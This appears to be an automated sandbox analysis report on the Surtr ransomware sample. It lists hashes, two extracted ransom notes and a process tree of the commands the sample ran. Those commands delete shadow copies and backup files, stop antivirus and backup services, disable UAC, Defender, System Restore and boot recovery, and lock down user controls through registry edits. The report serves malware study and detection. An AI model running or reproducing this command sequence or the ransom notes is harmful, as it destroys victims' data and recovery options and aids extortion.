Analysis
-
max time kernel
150s -
max time network
149s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
21-01-2022 03:19
General
-
Target
Surtr.exe
-
Size
383KB
-
MD5
709fedc6247f6c7a93dd570e15010dbe
-
SHA1
a3b061339364f053f521c894b0d5f08516fee493
-
SHA256
267fa786176679a2d99bf4d47cbcd8591640452ff393af7d61cfd5c0d8e67f33
-
SHA512
b6379dc973322b4e46fb79c5b88de30a763fe373cb5381e9d64b6ea56e33a6bb95529e970a53770337a3373efe48a766b9663421e901225da2fe6d1e245d118c
Score
10/10
Malware Config
Extracted
Path
C:\ProgramData\Service\SURTR_README.txt
Ransom Note
What happened to your files?
Unfortunately, your server was compromised,
using a security hole in your server.
All your files are encrypted with a military algorithm .
in order to contact us you can email this address
[email protected]
use this ID( VdfyMMNFVER12f ) for the title of your email.
if you weren't able to contact us within 24 hours please email :
[email protected]
Only we can decrypt your files.
Please do not contact separate fraudulent sites.
You can use freeand even paid software on the Internet,
but it is uselessand will cause you to lose filesand timeand money.
Extracted
Path
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta
Family
surtr
Ransom Note
SurtrRansomware
OOPS ALL YOUR IMPORTANT FILES HAVE BEEN ENCRYPTED AND STOLEN !!
Notice : There is only one way to restore your data read the boxes carefully!
Attention :
Do Not change file names. Do Not try to decrypt using third party softwares , it may cause permanent data loss . your files will be sold on the Dark Web after 15 days. Imagine 1 million hackers have all your information including files, IP, name and number and location and ...
Do not pay any money before decrypting the test files. You can use our 50% discount if you pay the fee within first 15 days of encryption . otherwise the price will be doubled. In order to warranty you , our team will decrypt 3 of your desired files for free.but you need to pay the specified price for the rest of the operation .
How To Decrypt :
Your system is offline . in order to contact us you can email this address [email protected] use this ID (VdfyMMNFVER12f) for the title of your email . If you weren't able to contact us within 24 hours please email : [email protected] If you didn't get any respond within 48 hours use this link (Not Available Now).send your ID and your cryptor name (SurtrRansomwareUserName) therefore we can create another way to contact you as soon as possible
Signatures
-
Detects Surtr Payload 1 IoCs
-
Surtr
Ransomware family first seen in late 2021.
-
UAC bypass 3 TTPs 1 IoCs
-
Clears Windows event logs 1 TTPs 64 IoCs
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
UPX packed file 5 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops startup file 7 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 8 IoCs
-
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Suspicious use of SetThreadContext 1 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Interacts with shadow copies 2 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Modifies registry class 5 IoCs
-
Opens file in notepad (likely ransom note) 1 IoCs
-
Runs net.exe
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Surtr.exe"C:\Users\Admin\AppData\Local\Temp\Surtr.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Surtr.exe"C:\Users\Admin\AppData\Local\Temp\Surtr.exe"2⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c @echo off3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c chcp 4373⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 4374⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Acronis VSS Provider"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet stop "Acronis VSS Provider"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Acronis VSS Provider"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin Delete Shadows /all /quiet3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop " Enterprise Client Service"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet stop " Enterprise Client Service"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop " Enterprise Client Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos Agent"3⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos AutoUpdate Service"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet stop "Sophos AutoUpdate Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos AutoUpdate Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos Clean Service"3⤵
-
C:\Windows\system32\net.exenet stop "Sophos Clean Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos Clean Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos Device Control Service"3⤵
-
C:\Windows\system32\net.exenet stop "Sophos Device Control Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos Device Control Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos File Scanner Service"3⤵
-
C:\Windows\system32\net.exenet stop "Sophos File Scanner Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos File Scanner Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos Health Service"3⤵
-
C:\Windows\system32\net.exenet stop "Sophos Health Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos Health Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos MCS Agent"3⤵
-
C:\Windows\system32\net.exenet stop "Sophos MCS Agent"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos MCS Agent"5⤵
-
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos MCS Client"3⤵
-
C:\Windows\system32\net.exenet stop "Sophos MCS Client"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos MCS Client"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos Message Router"3⤵
-
C:\Windows\system32\net.exenet stop "Sophos Message Router"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos Message Router"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos Safestore Service"3⤵
-
C:\Windows\system32\net.exenet stop "Sophos Safestore Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos Safestore Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos System Protection Service"3⤵
-
C:\Windows\system32\net.exenet stop "Sophos System Protection Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos System Protection Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Sophos Web Control Service"3⤵
-
C:\Windows\system32\net.exenet stop "Sophos Web Control Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Sophos Web Control Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLsafe Backup Service"3⤵
-
C:\Windows\system32\net.exenet stop "SQLsafe Backup Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLsafe Backup Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "SQLsafe Filter Service"3⤵
-
C:\Windows\system32\net.exenet stop "SQLsafe Filter Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SQLsafe Filter Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Symantec System Recovery"3⤵
-
C:\Windows\system32\net.exenet stop "Symantec System Recovery"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Symantec System Recovery"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Veeam Backup Catalog Data Service"3⤵
-
C:\Windows\system32\net.exenet stop "Veeam Backup Catalog Data Service"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "AcronisAgent"3⤵
-
C:\Windows\system32\net.exenet stop "AcronisAgent"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "AcronisAgent"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "AcrSch2Svc"3⤵
-
C:\Windows\system32\net.exenet stop "AcrSch2Svc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "AcrSch2Svc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "Antivirus"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "BackupExecAgentAccelerator"3⤵
-
C:\Windows\system32\net.exenet stop "BackupExecAgentAccelerator"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "BackupExecAgentAccelerator"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /s /f /q C:\*.bac C:\*.bak C:\*.bkf C:\Backup*.* C:\backup*.*3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "BackupExecAgentBrowser"3⤵
-
C:\Windows\system32\net.exenet stop "BackupExecAgentBrowser"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "BackupExecAgentBrowser"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- UAC bypass
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "BackupExecDeviceMediaService"3⤵
-
C:\Windows\system32\net.exenet stop "BackupExecDeviceMediaService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "BackupExecDeviceMediaService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "BackupExecJobEngine"3⤵
-
C:\Windows\system32\net.exenet stop "BackupExecJobEngine"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "BackupExecJobEngine"5⤵
-
-
-
C:\Windows\system32\net.exenet stop "mozyprobackup"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "mozyprobackup"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "BackupExecManagementService"3⤵
-
C:\Windows\system32\net.exenet stop "BackupExecManagementService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "BackupExecManagementService"5⤵
-
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MsDtsServer100"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\net.exenet stop "MsDtsServer100"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "BackupExecRPCService"3⤵
-
C:\Windows\system32\net.exenet stop "BackupExecRPCService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "BackupExecRPCService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "BackupExecVSSProvider"3⤵
-
C:\Windows\system32\net.exenet stop "BackupExecVSSProvider"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "BackupExecVSSProvider"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "EPSecurityService"3⤵
-
C:\Windows\system32\net.exenet stop "EPSecurityService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "EPSecurityService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MSExchangeMTA"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "IISAdmin"3⤵
-
C:\Windows\system32\net.exenet stop "IISAdmin"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "IISAdmin"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "IMAP4Svc"3⤵
-
C:\Windows\system32\net.exenet stop "IMAP4Svc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "IMAP4Svc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "macmnsvc"3⤵
-
C:\Windows\system32\net.exenet stop "macmnsvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "macmnsvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "masvc"3⤵
-
C:\Windows\system32\net.exenet stop "masvc"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "masvc"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MBAMService"3⤵
-
C:\Windows\system32\net.exenet stop "MBAMService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MBAMService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MBEndpointAgent"3⤵
-
C:\Windows\system32\net.exenet stop "MBEndpointAgent"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MBEndpointAgent"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "McAfeeEngineService"3⤵
-
C:\Windows\system32\net.exenet stop "McAfeeEngineService"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "McAfeeEngineService"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "McAfeeFramework"3⤵
-
C:\Windows\system32\net.exenet stop "McAfeeFramework"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "McAfeeFramework"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "McAfeeFrameworkMcAfeeFramework"3⤵
-
C:\Windows\system32\net.exenet stop "McAfeeFrameworkMcAfeeFramework"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "McAfeeFrameworkMcAfeeFramework"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "McShield"3⤵
-
C:\Windows\system32\net.exenet stop "McShield"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "McShield"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "mfemms"3⤵
-
C:\Windows\system32\net.exenet stop "mfemms"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "mfemms"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "mfevtp"3⤵
-
C:\Windows\system32\net.exenet stop "mfevtp"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "mfevtp"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop "MMS"3⤵
-
C:\Windows\system32\net.exenet stop "MMS"4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "MMS"5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f4⤵
-
-
-
